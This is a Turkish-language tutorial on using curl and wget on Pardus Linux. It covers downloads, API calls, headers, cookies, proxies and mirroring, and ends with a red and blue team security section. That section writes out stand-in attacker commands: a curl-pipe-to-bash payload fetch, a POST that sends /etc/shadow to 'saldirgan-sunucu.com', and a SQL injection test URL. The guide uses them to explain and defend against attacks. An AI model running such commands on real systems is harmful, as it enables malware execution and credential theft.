Pardus İşletim Sisteminde cURL ve Wget Kullanımı
Pardus Linux ve ETAP (Etkileşimli Tahta Arayüzü Projesi) gibi sistemleri yönetirken, komut satırı (uçbirim) üzerinden dosya indirmek, ağ bağlantılarını test etmek ve API'lerle iletişim kurmak en temel ihtiyaçlardan biridir. Bu işlemleri gerçekleştirmek için GNU/Linux ekosistemindeki en güçlü iki araç wget ve curl'dür.
Her iki araç da HTTP, HTTPS ve FTP gibi protokolleri kullanarak sunuculardan veri çekmeye yarasa da, kullanım amaçları ve sundukları özellikler bakımından birbirlerinden ayrılırlar.
Hedef Kitle: Sistem Yöneticileri, Linux Kullanıcıları, Siber Güvenlik Uzmanları, SOC Analistleri, DevOps Mühendisleri
1. Giriş
Linux sistemlerde internet üzerinden veri alışverişi denildiğinde ilk akla gelen iki araç vardır:
cURL
Wget
Pardus dahil bütün Debian tabanlı sistemlerde varsayılan olarak bulunurlar veya tek komutla kurulabilirler.
Bu iki araç;
Dosya indirme
API sorgulama
Web servis testi
Log toplama
Güncelleme
Penetrasyon testi
Otomasyon
DevOps süreçleri
gibi yüzlerce işte kullanılmaktadır.
2. cURL Nedir?
cURL (Client URL), URL üzerinden veri transferi yapan çok güçlü bir istemcidir.
Desteklediği protokoller:
HTTP
HTTPS
FTP
FTPS
SCP
SFTP
LDAP
SMB
SMTP
IMAP
MQTT
TELNET
GOPHER
FILE
ve daha fazlası.
Genel Yapı
curl [seçenek] URL
Örnek
curl https://example.com
3. Wget Nedir?
Wget daha çok dosya indirmek için geliştirilmiştir.
Özellikleri
Recursive Download
Resume
Aynalama (Mirror)
Batch Download
Arka planda çalışma
Genel kullanım
wget URL
4. Pardus'ta Kurulum
Kurulu mu?
curl --version
wget --version
Kurulu değilse
sudo apt update
sudo apt install curl wget
5. cURL Temelleri
Web Sayfasını Getirme
curl https://example.com
Header Bilgileri
curl -I https://example.com
Çıktı
HTTP/2 200Server: nginxContent-Type: text/html
Header + İçerik
curl -i https://example.com
Redirect Takibi
curl -L https://example.com
Sessiz Mod
curl -s https://example.com
Dosyaya Kaydetme
curl -o index.html https://example.com
Orijinal İsmiyle Kaydetme
curl -O https://example.com/file.iso
6. Wget Temelleri
Basit indirme
wget https://example.com/file.zip
Dosya adı değiştirme
wget -O dosya.zip URL
Arka planda
wget -b URL
İndirme hızını sınırlandırma
wget --limit-rate=500k URL
7. HTTP Metotları
GET
curl https://api.site.com/users
POST
curl -X POST https://api.site.com/login
PUT
curl -X PUT https://api.site.com/user/5
DELETE
curl -X DELETE https://api.site.com/user/5
PATCH
curl -X PATCH URL
8. Veri Gönderme
Form Verisi
curl -d "username=test" URL
Birden fazla
curl -d "user=test&pass=1234" URL
JSON Gönderme
curl \-X POST \-H "Content-Type: application/json" \-d '{"name":"Ali"}' \URL
9. API Testleri
REST API
curl https://api.github.com/users
Bearer Token
curl \-H "Authorization: Bearer TOKEN"
Basic Authentication
curl -u user:password URL
10. Header Kullanımı
curl \-H "User-Agent: Mozilla"
Birden fazla
curl \-H "Accept: application/json" \-H "Authorization: Bearer TOKEN"
11. Cookie Yönetimi
Cookie Kaydetme
curl -c cookies.txt URL
Cookie Kullanma
curl -b cookies.txt URL
12. HTTPS Sertifikaları
Sertifika doğrulama
curl https://site.com
Test amacıyla doğrulamayı kapatma (yalnızca laboratuvar ortamında)
curl -k URL
Not:
-kseçeneği üretim ortamlarında önerilmez; çünkü TLS sertifikası doğrulanmadığından araya girme (MITM) saldırılarına karşı koruma zayıflar.
13. Proxy Kullanımı
curl \-x http://192.168.1.10:8080
Kimlik doğrulamalı
curl \-x http://proxy:8080 \-U user:pass
14. FTP Kullanımı
İndirme
curl ftp://server/file.txt
Yükleme
curl -T file.txt ftp://server
15. SFTP
curl \-u user \-T file.txt \sftp://server/home/user/
16. Resume
cURL
curl -C - -O URL
Wget
wget -c URL
17. Recursive Download (Wget)
Bir siteyi indirme
wget \-r \-k \-p \URL
Mirror
wget --mirror URL
18. Rate Limit
wget --limit-rate=1m URL
cURL
curl \--limit-rate 500K
19. Bash Scriptlerinde Kullanımı
IP Bilgisi Alma
#!/bin/bashcurl https://ifconfig.me
JSON Alma
API=$(curl -s https://api.site.com)echo $API
20. Siber Güvenlik Açısından Kullanım
Keşif (Reconnaissance)
Header bilgileri
curl -I URL
Server
ApacheNginxLiteSpeed
tespit edilebilir.
Banner Grabbing
curl -v URL
HTTP Method Analizi
curl -X OPTIONS URL
Güvenlik Header Kontrolü
curl -I URL
Kontrol edilebilecek başlıklar:
HSTS
CSP
X-Frame-Options
X-Content-Type-Options
Referrer-Policy
Permissions-Policy
API Güvenlik Testleri
curl \-H "Authorization: Bearer TOKEN"
Dosya Bütünlüğü Doğrulama
sha256sum dosya.iso
Üreticinin yayımladığı SHA-256 özeti ile karşılaştırın.
21. SOC Analistleri İçin Kullanım
IOC indirme
curl https://ioc-feed.example/feed.txt
Log gönderme
curl \-X POST \-F log=@syslog.txt
SIEM API
curl \-H "Authorization: Bearer TOKEN"
22. Gerçek Hayat Senaryoları
Senaryo 1
ISO indirme
wget https://cdimage.debian.org/debian.iso
Resume
wget -c https://cdimage.debian.org/debian.iso
Senaryo 2
REST API testi
curl \-H "Authorization: Bearer TOKEN" \https://api.example.com/users
Senaryo 3
Sunucu Header Analizi
curl -I https://example.com
Senaryo 4
JSON POST
curl \-X POST \-H "Content-Type: application/json" \-d '{"username":"admin"}'
23. cURL ve Wget Karşılaştırması
| Özellik | cURL | Wget |
|---|---|---|
| API Testi | ✅ | ❌ |
| POST | ✅ | Sınırlı |
| PUT | ✅ | ❌ |
| DELETE | ✅ | ❌ |
| JSON | ✅ | ❌ |
| Resume | ✅ | ✅ |
| Recursive Download | ❌ | ✅ |
| Mirror Site | ❌ | ✅ |
| FTP Upload | ✅ | Kısıtlı |
| Scripting | Çok Güçlü | Güçlü |
| HTTP Header | Çok Güçlü | Orta |
| REST API | Mükemmel | Zayıf |
24. En Sık Yapılan Hatalar
Sertifika doğrulamasını gereksiz yere devre dışı bırakmak (
curl -k).Dosya bütünlüğünü doğrulamadan yazılım çalıştırmak.
Komut satırında parola kullanarak kimlik bilgilerini süreç listesinde görünür hâle getirmek.
Yanlış yönlendirmeleri (
3xx) takip etmemek.API hız sınırlarını (rate limit) dikkate almamak.
Proxy yapılandırmasını doğrulamadan hassas verileri iletmek.
25. Sonuç
Pardus üzerinde cURL ve Wget, sistem yöneticileri, yazılım geliştiriciler ve siber güvenlik uzmanları için vazgeçilmez araçlardır. cURL; REST API testleri, HTTP istekleri, kimlik doğrulama ve otomasyon senaryolarında öne çıkarken, Wget büyük dosya indirmeleri, kesintiden devam edebilme ve web sitesi yansılama (mirror) gibi görevlerde güçlüdür.
Bu araçları güvenli kullanım alışkanlıklarıyla birleştirmek (TLS doğrulaması, dosya bütünlüğü kontrolü, güvenli kimlik doğrulama yöntemleri ve hız sınırlarına uyum) hem sistem güvenliğini hem de operasyonel verimliliği artıracaktır.
1. wget (Web Get) Nedir ve Nasıl Kullanılır?
wget, özellikle internetten dosya indirmek için tasarlanmış, arka planda çalışabilen ve bağlantı koptuğunda indirmeye kaldığı yerden devam edebilen son derece sağlam bir araçtır. Genellikle Pardus'ta yüklü olarak gelir. (Yüklü değilse sudo apt install wget komutuyla kurulabilir.)
Temel wget Komutları
1. Basit Dosya İndirme
Bir dosyayı orijinal adıyla bulunduğunuz dizine indirmek için URL'yi doğrudan yazmanız yeterlidir:
wget https://indir.pardus.org.tr/ISO/Pardus23/Pardus-23.2-XFCE-amd64.iso
2. Dosyayı Farklı Bir İsimle Kaydetme (-O)
İndirdiğiniz dosyayı kendi belirlediğiniz bir isimle kaydetmek isterseniz -O (büyük O) parametresini kullanmalısınız:
wget -O pardus_kurulum.iso https://indir.pardus.org.tr/ISO/Pardus23/Pardus-23.2-XFCE-amd64.iso
3. Kesilen İndirmeyi Devam Ettirme (-c)
Büyük boyutlu bir dosya (örneğin bir ETAP imajı veya sanal makine yedeği) indirirken bağlantınız koparsa, indirmeyi baştan başlatmak yerine kaldığı yerden devam ettirebilirsiniz:
wget -c https://indir.pardus.org.tr/ISO/Pardus23/Pardus-23.2-XFCE-amd64.iso
4. Arka Planda İndirme (-b)
Terminali meşgul etmemek ve indirmeyi arka planda sürdürmek için kullanılır. İndirme logları varsayılan olarak wget-log dosyasına yazılır:
wget -b https://ornek.com/buyuk-dosya.zip
(Logları izlemek için: tail -f wget-log komutunu kullanabilirsiniz.)
5. Toplu Dosya İndirme (-i)
İndirmek istediğiniz linkleri bir metin dosyasına (örneğin linkler.txt) alt alta yazdıktan sonra tek komutla hepsini indirebilirsiniz:
wget -i linkler.txt
6. Web Sitesini Klonlama (Mirroring)
Bir web sitesinin tamamını (HTML, CSS, resimler) çevrimdışı okumak üzere yerel diske indirmek için kullanılır:
wget --mirror -p --convert-links -P ./hedef_klasor https://ornek.com
2. curl (Client URL) Nedir ve Nasıl Kullanılır?
curl, wget'in aksine sadece dosya indirmek için değil, bir sunucuya veri göndermek (POST, PUT), başlık bilgilerini okumak, API'lerle etkileşime girmek ve ağ sorunlarını gidermek için tasarlanmış çok yönlü bir araçtır.
Temel curl Komutları
1. Ekran Çıktısı Alma (Temel Kullanım)
curl varsayılan olarak çektiği veriyi bir dosyaya kaydetmez, doğrudan terminal ekranına (stdout) yazdırır. Bir API'den JSON verisi çekerken çok işe yarar:
curl https://api.ornek.com/kullanicilar
2. Dosya İndirme (-O ve -o)
Dosyayı URL'deki orijinal adıyla kaydetmek için -O (büyük O), farklı bir isimle kaydetmek için -o (küçük o) kullanılır:
curl -O https://ornek.com/script.sh
curl -o benim_scriptim.sh https://ornek.com/script.sh
3. Yönlendirmeleri Takip Etme (-L)
İndirmeye çalıştığınız sayfa veya dosya başka bir adrese yönlendirilmişse (HTTP 301/302), curl varsayılan olarak yönlendirmeyi takip etmez. Takip etmesini sağlamak için -L parametresi şarttır:
curl -L -O https://ornek.com/en-guncel-surum
4. Sadece Başlık (Header) Bilgilerini Okuma (-I)
Bir web sunucusunun durum kodunu (örn. 200 OK, 404 Not Found) veya sunucu yazılımı versiyonunu (Nginx, Apache vb.) kontrol etmek için kullanılır:
curl -I https://nuritiras.com.tr
5. Sunucuya Veri Gönderme (POST İsteği)
Özellikle Python (Django/REST) ile yazılmış uygulamalarda veya otomasyon betiklerinde form verisi veya JSON göndermek için kullanılır:
curl -X POST -d "kullanici=admin&sifre=1234" https://api.ornek.com/login
JSON verisi göndermek için:
curl -X POST -H "Content-Type: application/json" -d '{"id": 1, "rol": "ogretmen"}' https://api.ornek.com/guncelle
wget ve curl Karşılaştırması
Hangi aracı seçeceğinize karar verirken aşağıdaki tabloyu referans alabilirsiniz:
Özellik | wget | curl |
Temel Amacı | Ağdan dosya ve dizin indirmek | Sunucu ile karşılıklı veri transferi (İstek/Cevap) |
Varsayılan Davranış | Dosyayı diske kaydeder | Çıktıyı terminal (stdout) ekranına yazdırır |
Özyinelemeli İndirme | Var (Bütün bir dizini/siteyi indirebilir) | Yok (Tekil bağlantılar için çalışır) |
API Testi / Yönetimi | Zayıf | Mükemmel (REST API testleri için endüstri standardı) |
Kullanım Senaryosu | Büyük dosyalar, imajlar, ISO'lar indirme, yedek çekme | HTTP başlıklarını okuma, REST API'lere JSON veri gönderme |
Özet
Pardus tabanlı laboratuvar ortamlarında veya sunucu (Proxmox/Ubuntu/ESXi) yönetiminde:
Büyük bir dosya indirecekseniz, indirme işleminin yarıda kalma ihtimaline karşı wget kullanın.
Bir betik içerisinde (örneğin bir bash kurulum scripti) ağdan hızlıca yapılandırma dosyası çekecekseniz, bir web sayfasının ayakta olup olmadığını kontrol edecekseniz veya geliştirdiğiniz bir Django REST API uç noktasını (endpoint) test edecekseniz curl kullanın.
Siber Güvenlik Açısından wget ve curl (Kırmızı ve Mavi Takım Perspektifi)
wget ve curl, sistem yöneticileri ve geliştiriciler için vazgeçilmez araçlar olmalarının yanı sıra, siber güvenlik dünyasında da kilit bir role sahiptir. Bu araçlar "çift kullanımlı" (dual-use) olarak kabul edilir; yani hem sistemleri korumak ve test etmek için (Mavi Takım) hem de sistemlere sızmak ve veri çalmak için (Kırmızı Takım / Saldırganlar) sıklıkla kullanılırlar.
Aşağıda bu iki aracın siber güvenlik perspektifinden nasıl kullanıldığını ve nelere dikkat edilmesi gerektiğini bulabilirsiniz:
1. Saldırgan (Red Team / Hacker) Yaklaşımı
Saldırganlar bir sunucuda veya uygulamada (örneğin bir web sitesinde) komut çalıştırma zafiyeti (RCE) bulduklarında, genellikle sistemde zaten yüklü olan wget veya curl'ü kullanarak saldırılarını derinleştirirler. Buna "Living off the Land" (Sistemdeki mevcut araçları kullanma) taktiği denir.
Zararlı Yazılım/Payload İndirme: Saldırgan, sisteme sızdıktan sonra kendi sunucusundan bir arka kapı (backdoor) veya fidye yazılımı (ransomware) indirmek için bu araçları kullanır.
Tehlikeli Örnek (Fileless Malware):
curl [http://saldirgan-sunucu.com/malware.sh](http://saldirgan-sunucu.com/malware.sh) | bash
Bu komut, dosyayı diske kaydetmeden doğrudan bellekte çalıştırarak antivirüsleri atlatmayı hedefler.
Veri Sızdırma (Data Exfiltration): Hedef sistemdeki hassas dosyalar (örneğin /etc/shadow şifre dosyası veya yapılandırma dosyaları) curl kullanılarak saldırganın sunucusuna gönderilebilir.
Örnek: curl -X POST -d @/etc/shadow [http://saldirgan-sunucu.com/veri-topla](http://saldirgan-sunucu.com/veri-topla)
Bilgi Toplama ve Keşif: Hedef sunucunun hangi yazılımı ve sürümü kullandığını öğrenmek için başlık (header) bilgileri çekilir (curl -I). Bu sayede sunucudaki bilinen zafiyetler (CVE) araştırılır.
2. Savunma (Blue Team / Güvenlik Analisti) Yaklaşımı
Güvenlik uzmanları, sistemleri sıkılaştırmak ve zafiyetleri tespit etmek için yine aynı araçları kullanırlar.
Zafiyet ve WAF Testleri: Web Uygulaması Güvenlik Duvarı'nın (WAF) SQL Injection veya XSS gibi saldırıları engelleyip engellemediğini test etmek için curl ile manipüle edilmiş HTTP istekleri gönderilir.
Örnek: curl -X GET "[https://hedef.com/login?user=admin](https://hedef.com/login?user=admin)' OR 1=1--"
SSL/TLS ve Sertifika Analizi: Bir sunucunun şifreleme protokollerinin (TLS 1.2 / 1.3) ve sertifikalarının düzgün yapılandırılıp yapılandırılmadığını incelemek için curl -v (verbose/detaylı) parametresiyle bağlantı testleri yapılır.
Zararlı Yazılım Analizi (Sandbox): Şüpheli bir bağlantı tespit edildiğinde, analistler izole edilmiş güvenli bir ortamda (sandbox) wget kullanarak zararlı dosyayı indirip incelerler.
3. Sistem Yöneticileri İçin Güvenlik Uyarıları ve Önlemler
Pardus veya herhangi bir Linux dağıtımını yönetirken bu araçların oluşturabileceği riskleri en aza indirmek için şu önlemler alınmalıdır:
1. Sertifika Doğrulamasını Kapatma (Ortadaki Adam Saldırısı Riski)
Bazen bağlantı hatalarını hızlıca çözmek için sertifika doğrulaması devre dışı bırakılır.
curl -k veya curl --insecure
wget --no-check-certificate
Risk: Bu parametreleri kullanmak, trafiğinizin araya giren bir saldırgan (MitM) tarafından okunmasına ve değiştirilmesine olanak tanır. Güvenmediğiniz ağlarda (ortak Wi-Fi vb.) bu parametreleri asla kullanmayın.
2. Giden Trafiği (Egress) Kısıtlama
Bir web sunucusunun (örneğin Nginx veya Apache) veya veritabanı sunucusunun internetten serbestçe dosya indirmesine gerek yoktur. Sunucularınızın Firewall (UFW/iptables) ayarlarında sadece gerekli portlara ve IP adreslerine dışarı çıkış izni verin.
3. Log İzleme ve Alarm Oluşturma (SIEM)
Eğer sisteminizde www-data (web sunucusu kullanıcısı) veya postgres gibi hizmet kullanıcıları aniden bir wget veya curl komutu çalıştırıyorsa, bu %99 oranında bir web kabuğu (web shell) saldırısına uğradığınızın göstergesidir. Sistem günlüklerini (syslog/auditd) izleyerek bu komutların hangi kullanıcılar tarafından çalıştırıldığına dair alarmlar oluşturun.
Özetle; wget ve curl internetin İsviçre çakılarıdır. Onları iyi bilmek, sadece sistem yönetimini kolaylaştırmakla kalmaz, aynı zamanda sistemlerinize yapılabilecek potansiyel saldırı vektörlerini anlamanızı da sağlar.
Yorumlar